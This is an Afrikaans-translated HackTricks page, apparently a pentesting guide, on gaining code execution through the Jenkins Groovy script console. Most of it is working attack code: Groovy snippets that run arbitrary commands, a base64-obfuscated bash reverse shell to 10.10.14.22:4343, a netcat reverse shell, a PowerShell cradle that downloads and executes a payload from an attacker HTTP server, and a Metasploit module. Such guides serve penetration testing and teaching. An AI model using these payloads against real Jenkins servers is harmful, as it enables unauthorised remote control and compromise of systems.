Jenkins RCE with Groovy Script

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Jenkins RCE met Groovy-skrips

Dit is minder lawaaierig as om 'n nuwe projek in Jenkins te skep.

  1. Gaan na path_jenkins/script

  2. Voer die skrips in die teksboks in

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Jy kan 'n bevel uitvoer deur gebruik te maak van: cmd.exe /c dir

In Linux kan jy dit doen: "ls /".execute().text

As jy aanhalingstekens en enkellidtekens binne die teks wil gebruik, kan jy """PAYLOAD""" (drie dubbele aanhalingstekens) gebruik om die payload uit te voer.

'n Ander nuttige groovy-skripsie is (vervang [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Omgekeerde skulp in Linux

'n Omgekeerde skulp is 'n tegniek wat gebruik word om 'n verband tussen 'n aanvaller se rekenaar en 'n teikenrekenaar tot stand te bring. Hierdie tegniek maak dit moontlik vir die aanvaller om op afstand beheer oor die teikenrekenaar te verkry. In Linux kan 'n omgekeerde skulp geïmplementeer word deur die volgende stappe te volg:

  1. Kies 'n poortnommer waarop die aanvaller sal luister vir inkomende verbindings.

  2. Op die teikenrekenaar, gebruik die volgende opdrag om 'n omgekeerde skulp te skep en 'n verband met die aanvaller se rekenaar te maak:

    nc -e /bin/sh <aanvaller_IP> <poortnommer>

    Vervang <aanvaller_IP> met die IP-adres van die aanvaller se rekenaar en <poortnommer> met die gekose poortnommer.

  3. Op die aanvaller se rekenaar, gebruik die volgende opdrag om te luister vir inkomende verbindings en die omgekeerde skulp te aanvaar:

    nc -lvp <poortnommer>

    Vervang <poortnommer> met dieselfde poortnommer wat in die vorige stap gekies is.

  4. As alles suksesvol is, sal die aanvaller nou 'n omgekeerde skulp op die teikenrekenaar hê en kan hy of sy op afstand beheer oor die teikenrekenaar verkry.

Dit is belangrik om te onthou dat die gebruik van omgekeerde skulpe sonder toestemming van die eienaar van die teikenrekenaar onwettig is en streng gestraf kan word. Hierdie tegniek moet slegs gebruik word vir wettige doeleindes, soos om sekuriteitslekke in 'n netwerk te identifiseer en te verhelp.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Omgekeerde dop in Windows

Jy kan 'n HTTP-bediener voorberei met 'n PS-omgekeerde dop en Jeking gebruik om dit af te laai en uit te voer:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Skrip

Jy kan hierdie proses outomatiseer met hierdie skrip.

Jy kan MSF gebruik om 'n omgekeerde skulp te kry:

msf> use exploit/multi/http/jenkins_script_console
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated